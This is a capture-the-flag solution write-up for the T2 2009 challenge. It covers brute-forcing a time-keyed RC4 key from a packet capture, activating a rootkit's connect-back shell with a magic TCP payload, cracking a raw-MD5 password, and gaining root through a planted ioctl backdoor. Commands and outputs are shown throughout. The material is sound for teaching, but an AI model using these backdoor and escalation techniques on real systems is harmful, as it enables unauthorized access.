T2 Challenge 2009

This year I created the challenge for the T2 conference held in Helsinki, Finland. (http://www.t2.fi/challenge/)
I'd like to share with you how my solution looks like.

The Start
The challengers started out with nothing more than a network dump (http://www.t2.fi/bin/t209-challenge.pcap)

packets jpg

I wrote a small tool to parse/list the pcap content and then work with the data in it:

ptdeb:/home/user/bf# ./t2_bf
Usage: ./t2_bf [options] -f pcap-file
 -f      Filename
 -d      Seconds to start with
 -l      List packets in pcap file
 -p      Packet to brute force
 -n      String to check for if decrypted
 -v      Verbose output
 -h      What would that be?

The tool is nothing special, but let's look at the output:

ptdeb:/home/user/bf# ./test -f t209-challenge.pcap -l

[+] Packet number: 0
0204 05b4 0402 080a 001a ada4 0000 0000 : ................
0103 0304                               : ....
[+] Packet number: 1
0204 05b4 0101 0402 0103 0304           : ............
[+] Packet number: 2
[+] Packet number: 3
0100 0009 4563 686f 2054 6573 74        : ....Echo Test
[+] Packet number: 4
[+] Packet number: 5
0100 0009 b041 fa09 bc1f 0f2d ac        : .....A.....-.
[+] Packet number: 6
[+] Packet number: 7
[+] Packet number: 8
[+] Packet number: 9
0204 05b4 0402 080a 001a b3a7 0000 0000 : ................
0103 0304                               : ....
[+] Packet number: 10
0204 05b4 0101 0402 0103 0304           : ............
[+] Packet number: 11
[+] Packet number: 12
0200 0009 4563 686f 2054 6573 74        : ....Echo Test
[+] Packet number: 13
[+] Packet number: 14
0200 0166 d502 b246 bc6b 4a7e f89e 3b27 : ...f...F.kJ~..;'
2fcb ae5e 7d0c 04f8 753d 2489 a9e7 aa99 : /..^}...u=$.....
4b16 9534 29e4 f96a 8954 d6fc 9369 10d9 : K..4)..j.T...i..
64e7 9239 e738 cf6f 31ec e022 a8e5 4775 : d..9.8.o1.."..Gu
22e3 d25a 26f8 e921 8470 743b 8edf e45a : "..Z&..!.pt;...Z
dbea 8083 b56f 7f98 0186 f803 34ac a452 : .....o......4..R
eb87 0595 b252 84f2 1728 c9f0 a56f 317a : .....R...(...o1z
6c86 8091 a8c7 6895 db3b de42 3097 fce6 : l.....h..;.B0...
0ac0 5477 d836 2502 d5fb a3f9 8f86 b014 : ..Tw.6%.........
a25a f705 a515 09cd 2513 9e1c 8359 5450 : .Z......%....YTP
aa04 5ef5 1119 b381 7ed9 7f98 59ba 5e61 : ..^.....~...Y.^a
0150 20c7 09b7 d527 6f8e 9a5c ca4c 5741 : .P ....'o..\.LWA
e9fe b74e 828d 6db8 e34a 7733 dd3b 70e4 : ...N..m..Jw3.;p.
79e9 5739 f7ac 5876 14cc eda4 aeba 9331 : y.W9..Xv.......1
46dc e151 efda dae5 d75f 2e17 af41 6c65 : F..Q....._...Ale
b6d0 893f 18a3 648c b221 dbf5 6af5 1146 : ...?..d..!..j..F
e3a8 bf27 1bf2 42d0 7c77 b08a 1b45 1b4f : ...'..B.|w...E.O
5c4e b90a 2bc6 2181 3994 5157 00cd 67f7 : \N..+.!.9.QW..g.
385a f8ff 34bd b9ce a000 7c10 344f af75 : 8Z..4.....|.4O.u
7669 ebd4 ecef ae20 f6c1 4b85 d748 b8bc : vi..... ..K..H..
7bab bef7 3eeb 7779 312b fbd7 9167 f926 : {...>.wy1+...g.&
8c9b c464 a4f1 ab6b c1b5 a316 53f3 fcf8 : ...d...k....S...
2405 b32a 4c21 22ea 3ec2                : $..*L!".>.
[+] Packet number: 15
[+] Packet number: 16
[+] Packet number: 17

We see clearly some cleartext "Echo Test" and as answer some random chars. I'll let you decide how to figure out that it's actually RC4 encryption, as I'm not really a cryptographic expert. I'd go trough a list of known encryption algorithms and test until I find the correct one. If you happen to know a way to identify RC4 on a reliable way, please let me know.

RC4 Cracking
Now that we know that the encryption is RC4, we can focus on how to crack the password. The hint for the challenge was: "sometimes time is the key." I know this was all a bit vague, but as in the time creating the challenge, for me this hint was so clear. Why I gave this hint, well I was coding the RC4 encryption and thought let's do the encryption time based, which in my code was:

long ourtime;
time(&ourtime);

As you can see it's a long integer which I then divide by 60 to get the minutes since epoche. Now as we know the algorithm and what the key should be we can brute force the packet, to make this easier I added the "Echo Test", so that you have a plain text string to match for decryption. Here's the result:

ptdeb:/home/user/bf# ./t2_bf -f t209-challenge.pcap -d 20000000 -p 5 -n "Echo"
[+] Following packet will be used.
0100 0009 b041 fa09 bc1f 0f2d ac        : .....A.....-.

[!]If this is not the right packet abort now.
[+] Key Found: '20842485'

Echo Test

And we got the key! As this was so much fun, let's just brute force packet number 14 as well, it's fast enough.

ptdeb:/home/user/bf# ./t2_bf -f t209-challenge.pcap -d 20000000 -p 14 -n "Linux"
[+] Following packet will be used.
0200 0166 d502 b246 bc6b 4a7e f89e 3b27 : ...f...F.kJ~..;'
2fcb ae5e 7d0c 04f8 753d 2489 a9e7 aa99 : /..^}...u=$.....
4b16 9534 29e4 f96a 8954 d6fc 9369 10d9 : K..4)..j.T...i..
64e7 9239 e738 cf6f 31ec e022 a8e5 4775 : d..9.8.o1.."..Gu
22e3 d25a 26f8 e921 8470 743b 8edf e45a : "..Z&..!.pt;...Z
dbea 8083 b56f 7f98 0186 f803 34ac a452 : .....o......4..R
eb87 0595 b252 84f2 1728 c9f0 a56f 317a : .....R...(...o1z
6c86 8091 a8c7 6895 db3b de42 3097 fce6 : l.....h..;.B0...
0ac0 5477 d836 2502 d5fb a3f9 8f86 b014 : ..Tw.6%.........
a25a f705 a515 09cd 2513 9e1c 8359 5450 : .Z......%....YTP
aa04 5ef5 1119 b381 7ed9 7f98 59ba 5e61 : ..^.....~...Y.^a
0150 20c7 09b7 d527 6f8e 9a5c ca4c 5741 : .P ....'o..\.LWA
e9fe b74e 828d 6db8 e34a 7733 dd3b 70e4 : ...N..m..Jw3.;p.
79e9 5739 f7ac 5876 14cc eda4 aeba 9331 : y.W9..Xv.......1
46dc e151 efda dae5 d75f 2e17 af41 6c65 : F..Q....._...Ale
b6d0 893f 18a3 648c b221 dbf5 6af5 1146 : ...?..d..!..j..F
e3a8 bf27 1bf2 42d0 7c77 b08a 1b45 1b4f : ...'..B.|w...E.O
5c4e b90a 2bc6 2181 3994 5157 00cd 67f7 : \N..+.!.9.QW..g.
385a f8ff 34bd b9ce a000 7c10 344f af75 : 8Z..4.....|.4O.u
7669 ebd4 ecef ae20 f6c1 4b85 d748 b8bc : vi..... ..K..H..
7bab bef7 3eeb 7779 312b fbd7 9167 f926 : {...>.wy1+...g.&
8c9b c464 a4f1 ab6b c1b5 a316 53f3 fcf8 : ...d...k....S...
2405 b32a 4c21 22ea 3ec2                : $..*L!".>.

[!]If this is not the right packet abort now.
[+] Key Found: '20842485'

 sysname: 'Linux'
 release: '2.6.25.20'
 nodename: 'OpenWrt'
 version: '#1 Mon Aug 17 22:27:52 BST 2009'
 machine: 'i686'
 domainname: '(none)'
 Backdoor Mode: 'Connect back shell'
 Backdoor Activate: 'TCP [Magic Key + Port] in Payload'
 DL Image Location: 'http://www.t2.fi/ch/chl.tar.gz'

Seems like there's an image to download and some information about a backdoor. Let's download the image. After the download we can check the file to see if we can recognize the file format (i know it's .vmdk, but let's get step by step through).

ptdeb:/home/user# file disk.vmdk
disk.vmdk: VMware4 disk image

The Vmware Image
It's a vmware disk image, so let's boot it up and scan it:

ptdeb:~# nmap -nvv -T5 192.168.199.130

Starting Nmap 4.62 ( http://nmap.org ) at 2009-07-31 02:07 BST
Initiating ARP Ping Scan at 02:07
Scanning 192.168.199.130 [1 port]
Completed ARP Ping Scan at 02:07, 0.01s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:07
Scanning 192.168.199.130 [1715 ports]
Discovered open port 22/tcp on 192.168.199.130
Completed SYN Stealth Scan at 02:07, 1.17s elapsed (1715 total ports)
Host 192.168.199.130 appears to be up ... good.
Interesting ports on 192.168.199.130:
Not shown: 1714 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 00:0C:29:89:BE:BF (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.506 seconds
 Raw packets sent: 1723 (75.810KB) | Rcvd: 1716 (78.932KB)

Only ssh is open and we don't have the access information. I know that here we could just mount the image and change the hash in /etc/shadow and like that we can login, but this not how I intended to solve it. In this case I replayed the traffic we got from the pcap file to see if there's something changing. As you maybe remember there was a ICMP timestamp request in the pcap file, so I started with this:

ptdeb:/home/user# hping -1 --icmp-ts -c 1 192.168.199.130
HPING 192.168.199.130 (eth0 192.168.199.130): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.199.130 ttl=64 id=48532 icmp_seq=0 rtt=12.5 ms
ICMP timestamp: Originate=72105400 Receive=75484659 Transmit=75484659
ICMP timestamp RTT tsrtt=13

--- 192.168.199.130 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 12.5/12.5/12.5 ms

Let's do another scan of the host now:

ptdeb:~# nmap -nvv -T5 192.168.199.130

Starting Nmap 4.62 ( http://nmap.org ) at 2009-07-31 02:14 BST
Initiating ARP Ping Scan at 02:14
Scanning 192.168.199.130 [1 port]
Completed ARP Ping Scan at 02:14, 0.00s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:14
Scanning 192.168.199.130 [1715 ports]
Discovered open port 22/tcp on 192.168.199.130
Discovered open port 139/tcp on 192.168.199.130
Completed SYN Stealth Scan at 02:14, 0.11s elapsed (1715 total ports)
Host 192.168.199.130 appears to be up ... good.
Interesting ports on 192.168.199.130:
Not shown: 1713 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
139/tcp open  netbios-ssn
MAC Address: 00:0C:29:89:BE:BF (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.249 seconds
 Raw packets sent: 1716 (75.502KB) | Rcvd: 1716 (78.932KB)

Now we see port 139 is open. Now we know how the backdoor daemon is activated.

Backdoor Daemon
We know that the messages are encrypted with RC4 based on the time() function rounded to the minute. I wrote a small client to communicated with it:

ptdeb:/home/user# ./t2client -t1 -h 192.168.199.130 -d "Echo Test" -s 57
Echo Test
ptdeb:/home/user#

As we see the encryption based on the time is working, the '-s 57' is the time difference in seconds between my box and the challenge vmware image. From this daemon there are 3 kinds of data available:

  • Echo daemon (sends back what you sent)
  • Host Information
  • Administrative information
  • Let's look at 2 and 3 in detail

    2.) This option will give you two major information for the challenger:

  • backdoor mode
  • backdoor activation
  • ptdeb:/home/user# ./t2client -t2 -h 192.168.199.130 -d "Echo Test" -s 56
     sysname: 'Linux'
     release: '2.6.25.20'
     nodename: 'OpenWrt'
    
    version: '#2 Fri Sep 4 12:07:27 BST 2009'
    machine: 'i686'
    domainname: '(none)'
    Backdoor Mode: 'Connect back shell'
    Backdoor Activate: 'TCP [Magic Key + Port] in Payload'
    DL Image Location: 'http://www.t2.fi/ch/chl.tar.gz'

    3.) This option will send you the username, password hash and the tcp magic key needed to activate the connect back shell. But I added a little 'joke' there, as I didn't wanted to make it too easy, so I added the information in an image :) The data received, speaks for itself:

    GIF89a#ÿÿÿ!ù,#ÿ©Ë¢
     ËçòÈ~iå»4ÝÖP5ôGScwÖi!¶VŦ¸ÉÉÅtçç¦w$'

    And here's the image:

    backdoor daemon gif

    The password hash is pretty straight forward (raw-MD5):

    fd620w# john --format=raw-MD5 pwd_t
    Loaded 1 password hash (Raw MD5 [raw-md5])
    t2def            (root)
    guesses: 1  time: 0:00:00:03 (3)  c/s: 3287K  trying: t2def
    fd620w#

    Connect Back Shell
    Now the challenger has every information they need to connect to the shell. If you send a tcp packet which has as payload T2CHALLENGEROCKS + TCP Port you'll get a login prompt, where you can login with the information you got from the image:

    ptdeb:/home/user# ./connect 192.168.199.130 22
    Username:T2_adm
    Password:t2def
    
     -=[ Welcome to the T2 lkm shell w00t w00t ]=-
    
     sysname: 'Linux'
     release: '2.6.25.20'
     nodename: 'OpenWrt'
     version: '#4 Fri Jul 31 02:04:51 BST 2009'
     machine: 'i686'
     domainname: '(none)'
     Partial Email-Hash: '7ea81194f4bf2e26333bd9fdf5df8309'
     Module: '/lib/modules/2.6.25.20/chl09.ko'
    
    BusyBox v1.11.2 (2009-07-30 16:15:59 BST) built-in shell (ash)
    Enter 'help' for a list of built-in commands.
    
    /bin/sh: can't access tty; job control turned off
    / $

    I'm on the Box, but where are my privs
    At this point the challenger is connected with low privileges:

    / $ id
    uid=65535 gid=1217500843
    / $

    He will not be able to do much on this box, for this reason I added the Module path, as I hope the challenger will find the clue to do a strings on the module to get following information:

    -=[ T2 R00tkit Help Menu ]=-
    --- Buildin Commands ---
    [ bdhelp ]     This command shows this help
    [ hfiles ]     This command will disable/enable hidden files
    --- Standalon Binaries ---
    [ /bin/ioctl ] This binary will give you root privs

    If the challenger now type bdhelp on the command line they'll see this little menu show up. I assume that most people will try the ioctl command first, but let's start with the hfiles one:

    / $ hfiles
    
     -=[ File hiding is deactivated ]=-
    
     -=[ Search for files with chl09 in filename ]=-
    
    / $

    If the challenger will now search for the files he'll find the important piece:

    / $ find / -name "*chl09*"
    find: /lost+found: Permission denied
    find: /proc/tty/driver: Permission denied
    snip
    find: /proc/1/task/1/fd: Permission denied
    /usr/lib/opkg/info/kmod-chl09.list
    /lib/modules/2.6.25.20/chl09.ko
    /lib/config/specs/ /chl09
    /lib/config/specs/ /chl09/hiddenchl09file.txt
    find: /tmp/.uci: Permission denied
    /etc/modules.d/90-chl09
    find: /etc/dropbear: Permission denied
    /sys/module/chl09

    If you try to read the 'hiddenchl09file.txt' file you'll only get a permission denied as it's only readable by root.

    Privilege Escalation
    The second command is the ioctl command:

    --- Standalon Binaries ---
    [ /bin/ioctl ] This binary will give you root privs

    if you launch it :

    / $ ioctl
    -=[ T2 Privilege Escalation ]=-
    Now you should be root or something went wrong ;)
    
    / $ id
    uid=65535 gid=1217500843
    / $

    Oops something went wrong I guess :) But I'm not that evil, so let's strace it:

    execve("./ioctl", ["./ioctl"], [/* 16 vars */]) = 0
    uname({sys="Linux", node="ptdeb", ...}) = 0
    brk(0)                                  = 0x8a24000
    brk(0x8a24cb0)                          = 0x8a24cb0
    set_thread_area({entry_number:-1 -> 6, base_addr:0x8a24830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
    brk(0x8a45cb0)                          = 0x8a45cb0
    brk(0x8a46000)                          = 0x8a46000
    ioctl(0, 0x31337, 0xbfb6bc3c)           = -1 EINVAL (Invalid argument)
    fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0
    mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f6c000
    write(1, "-=[ T2 Privilege Escalation ]=-\n"..., 32-=[ T2 Privilege Escalation ]=-
    ) = 32
    write(1, "Now you should be root or somethi"..., 51Now you should be root or something went wrong ;)
    ) = 51
    write(1, "\n"..., 1
    )                    = 1
    execve("/bin/ssh", ["/bin/sh", "-i"], [/* 4 vars */]) = -1 ENOENT (No such file or directory)
    exit_group(0)                           = ?

    We can see that there's an ioctl call to file descriptor 0 with the value 31337, as well as the reason that it's not working (/bin/sh was spelled wrong). So let's code a fixed version, recompile it statically, upload it and execute it to get root access as shown below:

    / $ ./my_ioctl
    -=[ T2 Privilege Escalation ]=-
    Now you should be root or something went wrong ;)
    
    BusyBox v1.11.2 (2009-07-30 16:15:59 BST) built-in shell (ash)
    Enter 'help' for a list of built-in commands.
    
    /bin/sh: can't access tty; job control turned off
    / # id
    uid=0(root) gid=0(root)
    / #

    Finally we're root !

    The mail address

    As we're root now, we can read the hidden file.

    / # cat "/lib/config/specs/ /chl09/hiddenchl09file.txt"
    Congratulations!
    
    You managed the last step of the challenge.
    The email address you need to write to is the MD5 strings of following strings in order:
    1. MD5 hash in login banner
    2. MD5 hash of the password in the picture (for connectback shell)
    3. MD5 hash in den ioctl binary
    
    md5 [1][2][3] = [hash]@t2.fi
    
    Thanks for playing :)
    
    / #

    All the hashes should be self explaining except the ioctl one. I've hidden the hash in an additional elf header section.

    ptdeb:/home/user/owrt/package/base-files/files/bin# objdump -h ioctl
    ......
    32 T2            00000023  00000000  00000000  00083210  2**0
     CONTENTS, READONLY

    Now you can just look at the content in this section:

    ptdeb:/home/user/owrt/package/base-files/files/bin# objdump -s ioctl
     ......
    
    Contents of section T2:
     0000 22363366 33323466 39353539 66303465  "63f324f9559f04e
     0010 63613035 36373163 34316536 65386434  ca05671c41e6e8d4
     0020 38220a                               8".

    And we're done :) I hope you enjoyed the challenge.

    © 2015 coma. All rights reserved.
    Disclaimer: There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk.
    In no event shall the author be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.